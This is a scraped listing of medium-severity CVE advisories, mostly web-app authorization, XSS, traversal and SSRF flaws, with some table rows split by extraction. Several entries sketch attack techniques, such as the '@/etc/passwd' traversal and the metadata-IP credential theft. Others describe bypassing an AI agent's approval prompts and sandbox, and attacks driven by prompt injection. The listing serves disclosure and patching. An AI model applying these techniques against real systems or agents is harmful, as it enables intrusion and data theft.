CVE-2026-29840	JiZhiCMS v2.5.6 and before contains a Stored Cross-Site Scripting (XSS) vulnerability in the release function within app/home/c/UserController.php. The application attempts to sanitize input by filtering <script> tags but fails to recursively remove dangerous event handlers in other HTML tags (such as onerror in <img> tags). This allows an authenticated remote attacker to inject arbitrary web script or HTML via the body parameter in a POST request to /user/release.html.	5.4	More Details
CVE-	The User Registration & Membership plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the Content Access Rules REST API endpoints in versions 5.0.1 through 5.1.4. This		More

2026-4056	is due to the `check_permissions()` method only checking for `edit_posts` capability instead of an administrator-level capability. This makes it possible for authenticated attackers, with Contributor-level access and above, to list, create, modify, toggle, duplicate, and delete site-wide content restriction rules, potentially exposing restricted content or denying legitimate user access.	5.4	More Details
CVE-2026-33400	Wallos is an open-source, self-hostable personal subscription tracker. Prior to version 4.7.0, a stored cross-site scripting (XSS) vulnerability in the payment method rename endpoint allows any authenticated user to inject arbitrary JavaScript that executes when any user visits the Settings, Subscriptions, or Statistics pages. Combined with the wallos_login authentication cookie lacking the HttpOnly flag, this enables full session hijacking. This issue has been patched in version 4.7.0.	5.4	More Details
CVE-2026-32898	OpenClaw versions prior to 2026.2.23 contain an authorization bypass vulnerability in the ACP client that auto-approves tool calls based on untrusted toolCall.kind metadata and permissive name heuristics. Attackers can bypass interactive approval prompts for read-class operations by spoofing tool metadata or using non-core read-like names to reach auto-approve paths.	5.4	More Details
CVE-2026-29105	SuiteCRM is an open-source, enterprise-ready Customer Relationship Management (CRM) software application. Prior to versions 7.15.1 and 8.9.3, SuiteCRM contains an unauthenticated open redirect vulnerability in the WebToLead capture functionality. A user-supplied POST parameter is used as a redirect destination without validation, allowing attackers to redirect victims to arbitrary external websites. This vulnerability allows attackers to abuse the trusted SuiteCRM domain for phishing and social engineering attacks by redirecting users to malicious external websites. Versions 7.15.1 and 8.9.3 patch the issue.	5.4	More Details
CVE-2026-21788	HCL Connections is vulnerable to a cross-site scripting attack where an attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user which leads to executing malicious script code. This may allow the attacker steal cookie-based authentication credentials and comprise user's account then launch other attacks.	5.4	More Details
CVE-2026-4438	Calling gethostbyaddr or gethostbyaddr_r with a configured nsswitch.conf that specifies the library's DNS backend in the GNU C library version 2.34 to version 2.43 could result in an invalid DNS hostname being returned to the caller in violation of the DNS specification.	5.4	More Details
CVE-2024-46879	A Reflected Cross-Site Scripting (XSS) vulnerability exists in the POST request data zipPath of tiki-admin_system.php in Tiki version 21.2. This vulnerability allows attackers to execute arbitrary JavaScript code via a crafted payload, leading to potential access to sensitive information or unauthorized actions.	5.4	More Details
CVE-2026-32867	OPEXUS eComplaint before version 10.1.0.0 allows an unauthenticated attacker to obtain or guess an existing case number and upload arbitrary files via 'Portal/EEOC/DocumentUploadPub.aspx'. Users would see these unexpected files in cases. Uploading a large number of files could consume storage.	5.4	More Details
CVE-2026-32753	FreeScout is a free help desk and shared inbox built with PHP's Laravel framework. In versions 1.8.208 and below, bypasses of the attachment view logic and SVG sanitizer make it possible to upload and render an SVG that runs malicious JavaScript. An extension of .png with content type of image/svg+xml is allowed, and a fallback mechanism on invalid XML leads to unsafe sanitization. The application restricts which uploaded files are rendered inline: only files considered "safe" are displayed in the browser; others are served with Content-Disposition: attachment. This decision is based on two checks: the file extension (e.g. .png is allowed, while .svg may not be) and the declared Content-Type (e.g. image/* is allowed). By using a filename with an allowed extension (e.g. xss.png) and a Content-Type of image/svg+xml, an attacker can satisfy both checks and cause the server to treat the upload as a safe image and render it inline, even though the body is SVG and can contain scripted behavior. Any authenticated user can set up a specific URL, and whenever another user or administrator visits it, XSS can perform any action on their behalf. This issue has been fixed in version 1.8.209.	5.4	More Details
CVE-2025-63260	SyncFusion 30.1.37 is vulnerable to Cross Site Scripting (XSS) via the Document-Editor reply to comment field and Chat-UI Chat message.	5.4	More Details
CVE-2024-46878	A Cross-Site Scripting (XSS) vulnerability exists in the page parameter of tiki-editpage.php in Tiki version 26.3 and earlier. This vulnerability allows attackers to execute arbitrary JavaScript code via a crafted payload, leading to potential access to sensitive information or unauthorized actions.	5.4	More Details
CVE-2026-30048	A stored cross-site scripting (XSS) vulnerability exists in the NotChatbot WebChat widget thru 1.4.4. User-supplied input is not properly sanitized before being stored and rendered in the chat conversation history. This allows an attacker to inject arbitrary JavaScript code which is executed when the chat history is reloaded. The issue is reproducible across multiple independent implementations of the widget, indicating that the vulnerability resides in the product itself rather than in a specific website configuration.	5.4	More Details
CVE-2026-1217	The Yoast Duplicate Post plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the clone_bulk_action_handler() and republish_request() functions in all versions up to, and including, 4.5. This makes it possible for authenticated attackers, with Contributor-level access and above, to duplicate any post on the site including private, draft, and trashed posts they shouldn't have access to. Additionally, attackers with Author-level access and above can use the Rewrite & Republish feature to overwrite any published post with their own content.	5.4	More Details
	Discourse is an open-source discussion platform. Versions prior to 2026.3.0-latest.1, 2026.2.1, and 2026.1.2 have two authorization issues in the chat direct message API. First, when creating a direct message channel or adding		

CVE-2026-33410	two authorization issues in the chat direct message API. First, when creating a direct message channel or adding users to an existing one, the `target_groups` parameter was passed directly to the user resolution query without checking group or member visibility for the acting user. An authenticated chat user could craft an API request with a known private/hidden group name and receive a channel containing that group's members, leaking their identities. Second, `can_chat?` only checked group membership, not the `chat_enabled` user preference. A chat-disabled user could create or query DM channels between other users via the direct messages API, potentially exposing private `last_message` content from the serialized channel response. Versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2 contain a patch. No known workarounds are available.	5.4	More Details
CVE-2026-1253	The Group Chat & Video Chat by AtomChat plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'atomchat_update_auth_ajax' and 'atomchat_update_layout_ajax' functions in all versions up to, and including, 1.1.7. This makes it possible for authenticated attackers, with Subscriber-level access and above, to update plugin options, including critical settings such as API keys, authentication keys, and layout configurations.	5.3	More Details
CVE-2025-46598	Bitcoin Core through 29.0 allows a denial of service via a crafted transaction.	5.3	More Details
CVE-2026-28070	Missing Authorization vulnerability in Tips and Tricks HQ WP eMember allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WP eMember: from n/a through v10.2.2.	5.3	More Details
CVE-2026-32636	ImageMagick is free and open-source software used for editing and manipulating digital images. Prior to 7.1.2-17 and 6.9.13-42, the NewXMLTree method contains a bug that could result in a crash due to an out of write bounds of a single zero byte. Versions 7.1.2-17 and 6.9.13-42 fix the issue.	5.3	More Details
CVE-2026-4733	Exposure of Sensitive Information to an Unauthorized Actor vulnerability in ixray-team ixray-1.6-stcop.This issue affects ixray-1.6-stcop: before 1.3.	5.3	More Details
CVE-2026-32565	Missing Authorization vulnerability in WebberZone Contextual Related Posts allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Contextual Related Posts: from n/a before 4.2.2.	5.3	More Details
CVE-2026-24299	Improper neutralization of special elements used in a command ('command injection') in M365 Copilot allows an unauthorized attacker to disclose information over a network.	5.3	More Details
CVE-2026-33169	Active Support is a toolkit of support libraries and Ruby core extensions extracted from the Rails framework. `NumberToDelimitedConverter` uses a lookahead-based regular expression with `gsub!` to insert thousands delimiters. Prior to versions 8.1.2.1, 8.0.4.1, and 7.2.3.1, the interaction between the repeated lookahead group and `gsub!` can produce quadratic time complexity on long digit strings. Versions 8.1.2.1, 8.0.4.1, and 7.2.3.1 contain a patch.	5.3	More Details
CVE-2026-33173	Active Storage allows users to attach cloud and local files in Rails applications. Prior to versions 8.1.2.1, 8.0.4.1, and 7.2.3.1, `DirectUploadsController` accepts arbitrary metadata from the client and persists it on the blob. Because internal flags like `identified` and `analyzed` are stored in the same metadata hash, a direct-upload client can set these flags to skip MIME detection and analysis. This allows an attacker to upload arbitrary content while claiming a safe `content_type`, bypassing any validations that rely on Active Storage's automatic content type identification. Versions 8.1.2.1, 8.0.4.1, and 7.2.3.1 contain a patch.	5.3	More Details
CVE-2026-3567	The RepairBuddy – Repair Shop CRM & Booking Plugin for WordPress is vulnerable to unauthorized access in all versions up to, and including, 4.1132. The plugin exposes two AJAX handlers that, when combined, allow any authenticated user to modify admin-level plugin settings. First, the wc_rb_get_fresh_nonce() function (registered via wp_ajax and wp_ajax_nopriv hooks) allows any user to generate a valid WordPress nonce for any arbitrary action name by simply providing the nonce_name parameter, with no capability checks. Second, the wc_rep_shop_settings_submission() function only verifies the nonce (wcrb_main_setting_nonce) but performs no current_user_can() capability check before updating 15+ plugin options via update_option(). This makes it possible for authenticated attackers, with subscriber-level access and above, to modify all plugin configuration settings including business name, email, logo, menu label, GDPR settings, and more by first minting a valid nonce via the wc_rb_get_fresh_nonce endpoint and then calling the settings submission handler.	5.3	More Details
CVE-2026-32691	A race condition in the secrets management subsystem of Juju versions 3.0.0 through 3.6.18 allows an authenticated unit agent to claim ownership of a newly initialized secret. Between generating a Juju Secret ID and creating the secret's first revision, an attacker authenticated as another unit agent can claim ownership of a known secret. This leads to the attacking unit being able to read the content of the initial secret revision.	5.3	More Details
CVE-2026-26945	Dell Integrated Dell Remote Access Controller 9, 14G versions prior to 7.00.00.181, 15G and 16G versions prior to 7.20.10.50 and Dell Integrated Dell Remote Access Controller 10, 17G versions prior to 1.20.25.00, contain a Process Control vulnerability. A high privileged attacker with adjacent network access could potentially exploit this vulnerability, leading to code execution.	5.3	More Details
CVE-2026-	NULL Pointer Dereference vulnerability in tmate-io tmate.This issue affects tmate: before 2.4.0.	5.3	More Details

4751			
CVE-2026-27936	Discourse is an open-source discussion platform. Prior to versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2, a restriction bypass allows restricted post action counts to be disclosed to non-privileged users through a carefully crafted request. Versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2 contain a patch. No known workarounds are available.	5.3	More Details
CVE-2025-10731	The ReviewX – WooCommerce Product Reviews with Multi-Criteria, Reminder Emails, Google Reviews, Schema & More plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 2.2.12 via the allReminderSettings function. This makes it possible for unauthenticated attackers to obtain authentication tokens and subsequently bypass admin restrictions to access and export sensitive data including order details, names, emails, addresses, phone numbers, and user information.	5.3	More Details
CVE-2025-10734	The ReviewX – WooCommerce Product Reviews with Multi-Criteria, Reminder Emails, Google Reviews, Schema & More plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 2.2.12 via the syncedData function. This makes it possible for unauthenticated attackers to extract sensitive data including user names, emails, phone numbers, addresses.	5.3	More Details
CVE-2026-1969	The trx_addons WordPress plugin before 2.38.5 does not correctly validate file types in one of its AJAX action, allowing unauthenticated users to upload arbitrary file. This is due to an incorrect fix of CVE-2024-13448	5.3	More Details
CVE-2026-27448	pyOpenSSL is a Python wrapper around the OpenSSL library. Starting in version 0.14.0 and prior to version 26.0.0, if a user provided callback to `set_tlsext_servername_callback` raised an unhandled exception, this would result in a connection being accepted. If a user was relying on this callback for any security-sensitive behavior, this could allow bypassing it. Starting in version 26.0.0, unhandled exceptions now result in rejecting the connection.	5.3	More Details
CVE-2026-27670	OpenClaw versions prior to 2026.3.2 contain a race condition vulnerability in ZIP extraction that allows local attackers to write files outside the intended destination directory. Attackers can exploit a time-of-check-time-of-use race between path validation and file write operations by rebinding parent directory symlinks to redirect writes outside the extraction root.	5.3	More Details
CVE-2026-2559	The Post SMTP plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the `handle_office365_oauth_redirect()` function in all versions up to, and including, 3.8.0. This is due to the function being hooked to `admin_init` without any `current_user_can()` check or nonce verification. This makes it possible for authenticated attackers, with Subscriber-level access and above, to overwrite the site's Office 365 OAuth mail configuration (access token, refresh token, and user email) via a crafted URL. The configuration option is used during wizard setup of Microsoft365 SMTP, only available in the Pro option of the plugin. This could cause an Administrator to believe an attacker-controlled Azure app is their own, and lead them to connect the plugin to the attacker's account during configuration after upgrading to Pro.	5.3	More Details
CVE-2026-33042	Parse Server is an open source backend that can be deployed to any infrastructure that can run Node.js. Prior to 9.6.0-alpha.29 and 8.6.49, a user can sign up without providing credentials by sending an empty `authData` object, bypassing the username and password requirement. This allows the creation of authenticated sessions without proper credentials, even when anonymous users are disabled. The fix in 9.6.0-alpha.29 and 8.6.49 ensures that empty or non-actionable `authData` is treated the same as absent `authData` for the purpose of credential validation on new user creation. Username and password are now required when no valid auth provider data is present. As a workaround, use a Cloud Code `beforeSave` trigger on the `_User` class to reject signups where `authData` is empty and no username/password is provided.	5.3	More Details
CVE-2026-32881	ewe is a Gleam web server. ewe is a Gleam web server. Versions 0.6.0 through 3.0.4 are vulnerable to authentication bypass or spoofed proxy-trust headers. Chunked transfer encoding trailer handling merges declared trailer fields into req.headers after body parsing, but the denylist only blocks 9 header names. A malicious client can exploit this by declaring these headers in the Trailer field and appending them after the final chunk, causing request.set_header to overwrite legitimate values (e.g., those set by a reverse proxy). This enables attackers to forge authentication credentials, hijack sessions, bypass IP-based rate limiting, or spoof proxy-trust headers in any downstream middleware that reads headers after ewe.read_body is called. This issue has been fixed in version 3.0.5.	5.3	More Details
CVE-2026-27454	Discourse is an open-source discussion platform. Prior to versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2, requesting /posts/:id.json?version=X bypassed authorization checks on post revisions. The display_post method called post.revert_to directly without verifying whether the revision was hidden or if the user had permission to view edit history. This meant hidden revisions (intentionally concealed by staff) could be read by any user by simply enumerating version numbers. Starting in versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2, Discourse looks up the PostRevision and call guardian.ensure_can_see! before reverting, consistent with how the /posts/:id/revisions/:revision endpoint already authorizes access. No known workarounds are available.	5.3	More Details
CVE-2026-31995	OpenClaw versions 2026.1.21 prior to 2026.2.19 contain a command injection vulnerability in the Lobster extension's Windows shell fallback mechanism that allows attackers to inject arbitrary commands through tool-provided arguments. When spawn failures trigger shell fallback with shell: true, attackers can exploit cmd.exe command interpretation to execute malicious commands by controlling workflow arguments.	5.3	More Details
CVE-	Vikunja is an open-source self-hosted task management platform. Starting in version 0.8 and prior to version 2.2.0, unauthenticated users are able to bypass the application's built-in rate-limits by spoofing the `X-Forwarded-		

2026-29794	For` or `X-Real-IP` headers due to the rate-limit relying on the value of `(echo.Context).RealIP`. Unauthenticated users can abuse endpoints available to them for different potential impacts. The immediate concern would be brute-forcing usernames or specific accounts' passwords. This bypass allows unlimited requests against unauthenticated endpoints. Version 2.2.0 patches the issue.	5.3	More Details
CVE-2026-33425	Discourse is an open-source discussion platform. Prior to versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2, unauthenticated users can determine whether a specific user is a member of a private group by observing changes in directory results when using the `exclude_groups` parameter. Versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2 contain a patch. As a workaround, disable public access to the user directory via Admin → Settings → hide user profiles from public.	5.3	More Details
CVE-2026-32002	OpenClaw versions prior to 2026.2.23 contain a sandbox bypass vulnerability in the sandboxed image tool that fails to enforce tools.fs.workspaceOnly restrictions on mounted sandbox paths, allowing attackers to read out-of-workspace files. Attackers can load restricted mounted images and exfiltrate them through vision model provider requests to bypass sandbox confidentiality controls.	5.3	More Details
CVE-2025-13997	The King Addons for Elementor – 4,000+ ready Elementor sections, 650+ templates, 70+ FREE widgets for Elementor plugin for WordPress is vulnerable to unauthenticated API key disclosure in all versions up to, and including, 51.1.49 due to the plugin adding the API keys to the HTML source code via render_full_form function. This makes it possible for unauthenticated attackers to extract site's Mailchimp, Facebook and Google API keys and secrets. This vulnerability requires the Premium license to be installed	5.3	More Details
CVE-2026-31805	Discourse is an open-source discussion platform. Prior to versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2, an authorization bypass in the poll plugin allowed authenticated users to vote on, remove votes from, or toggle the open/closed status of polls they did not have access to. By passing post_id as an array (e.g. post_id[]=&post_id[]=), the authorization check resolves to the accessible post while the poll lookup resolves to a different post's poll. This affects the vote, remove_vote, and toggle_status endpoints in DiscoursePoll::PollsController. Versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2 contain a patch.	5.3	More Details
CVE-2026-33685	WWBN AVideo is an open source video platform. In versions up to and including 26.0, the `plugin/AD_Server/reports.json.php` endpoint performs no authentication or authorization checks, allowing any unauthenticated attacker to extract ad campaign analytics data including video titles, user channel names, user IDs, ad campaign names, and impression/click counts. The HTML counterpart (`reports.php`) and CSV export (`getCSV.php`) both correctly enforce `User::isAdmin()`, but the JSON API was left unprotected. Commit daca4ffb1ce19643eecaa044362c41ac2ce45dde contains a patch.	5.3	More Details
CVE-2026-22180	OpenClaw versions prior to 2026.3.2 contain a path-confinement bypass vulnerability in browser output handling that allows writes outside intended root directories. Attackers can exploit insufficient canonical path-boundary validation in file write operations to escape root-bound restrictions and write files to arbitrary locations.	5.3	More Details
CVE-2026-32022	OpenClaw versions prior to 2026.2.21 contain a stdin-only policy bypass vulnerability in the grep tool within tools.exec.safeBins that allows attackers to read arbitrary files by supplying a pattern via the -e flag parameter. Attackers can include a positional filename operand to bypass file access restrictions and read sensitive files .env from the working directory.	5.3	More Details
CVE-2026-2575	A flaw was found in Keycloak. An unauthenticated remote attacker can trigger an application level Denial of Service (DoS) by sending a highly compressed SAMLRequest through the SAML Redirect Binding. The server fails to enforce size limits during DEFLATE decompression, leading to an OutOfMemoryError (OOM) and subsequent process termination. This vulnerability allows an attacker to disrupt the availability of the service.	5.3	More Details
CVE-2026-22217	OpenClaw version 2026.2.22 prior to 2026.2.23 contain an arbitrary code execution vulnerability in shell-env that allows attackers to execute attacker-controlled binaries by exploiting trusted-prefix fallback logic for the $SHELL variable. An attacker can influence the $SHELL environment variable on systems with writable trusted-prefix directories such as /opt/homebrew/bin to execute arbitrary binaries in the OpenClaw process context.	5.3	More Details
CVE-2026-1926	The Subscriptions for WooCommerce plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the `wps_sfw_admin_cancel_susbcription()` function in all versions up to, and including, 1.9.2. This is due to the function being hooked to the `init` action without any authentication or authorization checks, and only performing a non-empty check on the nonce parameter without actually validating it via `wp_verify_nonce()`. This makes it possible for unauthenticated attackers to cancel any active WooCommerce subscription by sending a crafted GET request with an arbitrary nonce value via the `wps_subscription_id` parameter.	5.3	More Details
CVE-2026-23488	Blinko is an AI-powered card note-taking project. Prior to version 1.8.4, the /api/v1/comment/create endpoint has an unauthorized access vulnerability, allowing attackers to post comments on any note (including private notes) without authorization, even if the note has not been publicly shared. The /api/v1/comment/list endpoint has the same issue, allowing unauthorized viewing of comments on all notes. This issue has been patched in version 1.8.4.	5.3	More Details
CVE-2026-33192	Free5GC is an open-source Linux Foundation project for 5th generation (5G) mobile core networks. In versions prior to 1.4.2, the UDM incorrectly converts a downstream 400 Bad Request (from UDR) into a 500 Internal Server Error when handling PATCH requests with an empty supi path parameter. Additionally, the UDM incorrectly translates the PATCH method to PUT when forwarding to UDR, indicating a deeper architectural issue. This leaks internal error handling behavior, making it difficult for clients to distinguish between client-side errors and server-side failures. The issue has been patched in version 1.4.2.	5.3	More Details

CVE-2026-32305	Traefik is an HTTP reverse proxy and load balancer. Versions 2.11.40 and below, 3.0.0-beta1 through 3.6.11, and 3.7.0-ea.1 are vulnerable to mTLS bypass through the TLS SNI pre-sniffing logic related to fragmented ClientHello packets. When a TLS ClientHello is fragmented across multiple records, Traefik's SNI extraction may fail with an EOF and return an empty SNI. The TCP router then falls back to the default TLS configuration, which does not require client certificates by default. This allows an attacker to bypass route-level mTLS enforcement and access services that should require mutual TLS authentication. This issue is patched in versions 2.11.41, 3.6.11 and 3.7.0-ea.2.	5.3	More Details
CVE-2026-32033	OpenClaw versions prior to 2026.2.24 contain a path traversal vulnerability where @-prefixed absolute paths bypass workspace-only file-system boundary validation due to canonicalization mismatch. Attackers can exploit this by crafting @-prefixed paths like @/etc/passwd to read files outside the intended workspace boundary when tools.fs.workspaceOnly is enabled.	5.3	More Details
CVE-2026-23486	Blinko is an AI-powered card note-taking project. Prior to version 1.8.4, a publicly accessible endpoint exposes all user information, including usernames, roles, and account creation dates. This issue has been patched in version 1.8.4.	5.3	More Details
CVE-2026-3550	The RockPress plugin for WordPress is vulnerable to Missing Authorization in all versions up to, and including, 1.0.17. This is due to missing capability checks on multiple AJAX actions (rockpress_import, rockpress_import_status, rockpress_last_import, rockpress_reset_import, and rockpress_check_services) combined with the plugin's nonce being exposed to all authenticated users via an unconditionally enqueued admin script. The plugin enqueues the 'rockpress-admin' script on all admin pages (including profile.php) without any page or capability restrictions, and the nonce for the 'rockpress-nonce' action is passed to this script via wp_localize_script. Since the AJAX handlers only verify this nonce and do not check current_user_can(), any authenticated user, including Subscribers, can extract the nonce from any admin page's HTML source and use it to trigger imports, reset import data (deleting options), check service connectivity, and read import status information. This makes it possible for authenticated attackers, with Subscriber-level access and above, to trigger resource-intensive import operations, reset import tracking data, and perform system connection checks that should be restricted to administrators.	5.3	More Details
CVE-2026-23485	Blinko is an AI-powered card note-taking project. Prior to version 1.8.4, the filePath parameter accepts path traversal sequences, allowing enumeration of file existence on the server via different error responses. This issue has been patched in version 1.8.4.	5.3	More Details
CVE-2026-4496	A vulnerability was found in sigmade Git-MCP-Server up to 785aa159f262a02d5791a5d8a8e13c507ac42880. Affected by this vulnerability is the function child_process.exec of the file src/gitUtils.ts of the component show_merge_diff/quick_merge_summary/show_file_diff. The manipulation results in os command injection. The attack must be initiated from a local position. The exploit has been made public and could be used. This product operates on a rolling release basis, ensuring continuous delivery. Consequently, there are no version details for either affected or updated releases. It is advisable to implement a patch to correct this issue. The vendor was contacted early about this disclosure but did not respond in any way.	5.3	More Details
CVE-2026-23483	Blinko is an AI-powered card note-taking project. In versions from 1.8.3 and prior, the plugin file server endpoint uses join() to concatenate paths but does not verify if the final path is within the plugins directory, leading to path traversal. At time of publication, there are no publicly available patches.	5.3	More Details
CVE-2026-4530	A security flaw has been discovered in apconw Aix-DB up to 1.2.3. This impacts an unknown function of the file agent/text2sql/rag/terminology_retriever.py. Performing a manipulation of the argument Description results in sql injection. The attack requires a local approach. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.	5.3	More Details
CVE-2026-4531	A weakness has been identified in Free5GC 4.1.0. Affected is the function HandleRegistrationComplete of the file internal/gmm/handler.go of the component AMF. Executing a manipulation can lead to denial of service. The attack may be performed from remote. This patch is called 52e9386401ce56ea773c5aa587d4cdf7d53da799. It is best practice to apply a patch to resolve this issue.	5.3	More Details
CVE-2026-4532	A security vulnerability has been detected in code-projects Simple Food Ordering System up to 1.0. Affected by this vulnerability is an unknown functionality of the file /food/sql/food.sql of the component Database Backup Handler. The manipulation leads to files or directories accessible. It is possible to initiate the attack remotely. The exploit has been disclosed publicly and may be used. It is recommended to change the configuration settings.	5.3	More Details
CVE-2026-33690	WWBN AVideo is an open source video platform. In versions up to and including 26.0, the `getRealIpAddr()` function in `objects/functions.php` trusts user-controlled HTTP headers to determine the client's IP address. An attacker can spoof their IP address by sending forged headers, bypassing any IP-based access controls or audit logging. Commit 1a1df6a9377e5cc67d1d0ac8ef571f7abbffbc6c contains a patch.	5.3	More Details
CVE-2026-4538	A vulnerability was identified in PyTorch 2.10.0. The affected element is an unknown function of the component pt2 Loading Handler. The manipulation leads to deserialization. The attack can only be performed from a local environment. The exploit is publicly available and might be used. The project was informed of the problem early through a pull request but has not reacted yet.	5.3	More Details
CVE-2026-	The Speedup Optimization plugin for WordPress is vulnerable to Missing Authorization in all versions up to and including 1.5.9. The `speedup01_ajax_enabled()` function, which handles the `wp_ajax_speedup01_enabled` AJAX action, does not perform any capability check via `current_user_can()` and also lacks nonce verification. This is in contrast to other AJAX handlers in the same plugin (e.g., `speedup01_ajax_install_jox` and	5.3	More

4127	contrast to other AJAX handlers in the same plugin (e.g., `speedup01_ajax_install_fix` and `speedup01_ajax_delete_cache_file`) which properly check for `install_plugins` and `manage_options` capabilities respectively. This makes it possible for authenticated attackers, with Subscriber-level access and above, to enable or disable the site's optimization module by sending a POST request to admin-ajax.		Details
CVE-2026-32046	OpenClaw versions prior to 2026.2.21 contain an improper sandbox configuration vulnerability that allows attackers to execute arbitrary code by exploiting renderer-side vulnerabilities without requiring a sandbox escape. Attackers can leverage the disabled OS-level sandbox protections in the Chromium browser container to achieve code execution on the host system.	5.3	More Details
CVE-2026-22321	A stack-based buffer overflow in the device's Telnet/SSH CLI login routine occurs when a unauthenticated attacker send an oversized or unexpected username input. An overflow condition crashes the thread handling the login attempt, forcing the session to close. Because other CLI sessions remain unaffected, the impact is limited to a low-severity availability disruption.	5.3	More Details
CVE-2026-3506	The WP-Chatbot for Messenger plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 4.9. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for unauthenticated attackers to overwrite the site's MobileMonkey API token and company ID options, which can be used to hijack chatbot configuration and redirect visitor conversations to an attacker-controlled MobileMonkey account.	5.3	More Details
CVE-2026-33041	WWBN AVideo is an open source video platform. In versions 25.0 and below, /objects/encryptPass.json.php exposes the application's password hashing algorithm to any unauthenticated user. An attacker can submit arbitrary passwords and receive their hashed equivalents, enabling offline password cracking against leaked database hashes. If an attacker obtains password hashes from the database (via SQL injection, backup exposure, etc.), they can instantly crack them by comparing against pre-computed hashes from this endpoint. This endpoint eliminates the need for an attacker to reverse-engineer the hashing algorithm. Combined with the weak hash chain (md5+whirlpool+sha1, no salt by default), an attacker with access to database hashes can crack passwords extremely quickly. This issue was fixed in version 26.0.	5.3	More Details
CVE-2026-3475	The Instant Popup Builder plugin for WordPress is vulnerable to Unauthenticated Arbitrary Shortcode Execution in all versions up to and including 1.1.7. This is due to the handle_email_verification_page() function constructing a shortcode string from user-supplied GET parameters (token, email) and passing it to do_shortcode() without properly sanitizing square bracket characters, combined with missing authorization checks on the init hook. While sanitize_text_field() and esc_attr() are applied, neither function strips or escapes square bracket characters ([and]). WordPress's shortcode regex uses [^\]\/]* to match content inside shortcode tags, meaning a] character in the token value prematurely closes the shortcode tag. This makes it possible for unauthenticated attackers to inject and execute arbitrary registered shortcodes by crafting a malicious token parameter containing] followed by arbitrary shortcode syntax.	5.3	More Details
CVE-2026-33688	WWBN AVideo is an open source video platform. In versions up to and including 26.0, the password recovery endpoint at `objects/userRecoverPass.php` performs user existence and account status checks before validating the captcha. This allows an unauthenticated attacker to enumerate valid usernames and determine whether accounts are active, inactive, or banned — at scale and without solving any captcha — by observing three distinct JSON error responses. Commit e42f54123b460fd1b2ee01f2ce3d4a386e88d157 contains a patch.	5.3	More Details
CVE-2026-3335	The Canto plugin for WordPress is vulnerable to Missing Authorization in all versions up to, and including, 3.1.1 via the `/wp-content/plugins/canto/includes/lib/copy-media.php` file. This is due to the file being directly accessible without any authentication, authorization, or nonce checks, and the `fbc_flight_domain` and `fbc_app_api` URL components being accepted as user-supplied POST parameters rather than read from admin-configured options. Since the attacker controls both the destination server and the `fbc_app_token` value, the entire fetch-and-upload chain is attacker-controlled — the server never contacts Canto's legitimate API, and the uploaded file originates entirely from the attacker's infrastructure. This makes it possible for unauthenticated attackers to upload arbitrary files (constrained to WordPress-allowed MIME types) to the WordPress uploads directory. Additional endpoints (`detail.php`, `download.php`, `get.php`, `tree.php`) are also directly accessible without authentication and make requests using a user-supplied `app_api` parameter combined with an admin-configured subdomain.	5.3	More Details
CVE-2026-27646	OpenClaw versions prior to 2026.3.7 contain a sandbox escape vulnerability in the /acp spawn command that allows authorized sandboxed sessions to initialize host-side ACP runtime. Attackers can bypass sandbox restrictions by invoking the /acp spawn slash-command to cross from sandboxed chat context into host-side ACP session initialization when ACP is enabled.	5.3	More Details
CVE-2026-3460	The REST API TO MiniProgram plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 5.1.2. This is due to the permission callback (update_user_wechatshop_info_permissions_check) only validating that the supplied 'openid' parameter corresponds to an existing WordPress user, while the callback function (update_user_wechatshop_info) uses a separate, attacker-controlled 'userid' parameter to determine which user's metadata gets modified, with no verification that the 'openid' and 'userid' belong to the same user. This makes it possible for authenticated attackers, with Subscriber-level access and above, to modify arbitrary users' store-related metadata (storeinfo, storeappid, storename) via the 'userid' REST API parameter.	5.3	More Details
CVE-	CKAN MCP Server is a tool for querying CKAN open data portals. Versions prior to 0.4.85 provide tools including ckan_package_search and sparql_query that accept a base_url parameter, making HTTP requests to arbitrary endpoints without restriction. A CKAN portal client has no legitimate reason to contact cloud metadata or internal network services. There is no URL validation on base_url parameter. No private IP blocking (RFC 1918, link-local		More

2026-33060	network services. There is no URL validation on base_url parameters. No private IP blocking (RFC 1918, link-local 169.254.x.x), no cloud metadata blocking. The sparql_query and ckan_datastore_search_sql tools also accept arbitrary base URLs and expose injection surfaces. An attack can lead to internal network scanning, cloud metadata theft (IAM credentials via IMDS at 169.254.169.254), potential SQL/SPARQL injection via unsanitized query parameters. Attack requires prompt injection to control the base_url parameter. This issue has been fixed in version 0.4.85.	5.3	More Details
CVE-2026-3546	The e-shot form builder plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 1.0.2. The eshot_form_builder_get_account_data() function is registered as a wp_ajax_ AJAX handler accessible to all authenticated users. The function lacks any capability check (e.g., current_user_can('manage_options')) and does not verify a nonce. It directly queries the database for the e-shot API token stored in the eshotformbuilder_control table and returns it along with all subaccount data as a JSON response. This makes it possible for authenticated attackers, with Subscriber-level access and above, to extract the e-shot API token and subaccount information, which could then be used to access the victim's e-shot platform account.	5.3	More Details
CVE-2026-3570	The Smarter Analytics plugin for WordPress is vulnerable to unauthorized access in all versions up to, and including, 2.0. This is due to missing authentication and capability checks on the configuration reset functionality in the global scope of smarter-analytics.php. This makes it possible for unauthenticated attackers to reset all plugin configuration and delete all per-page/per-post analytics settings via the 'reset' parameter.	5.3	More Details
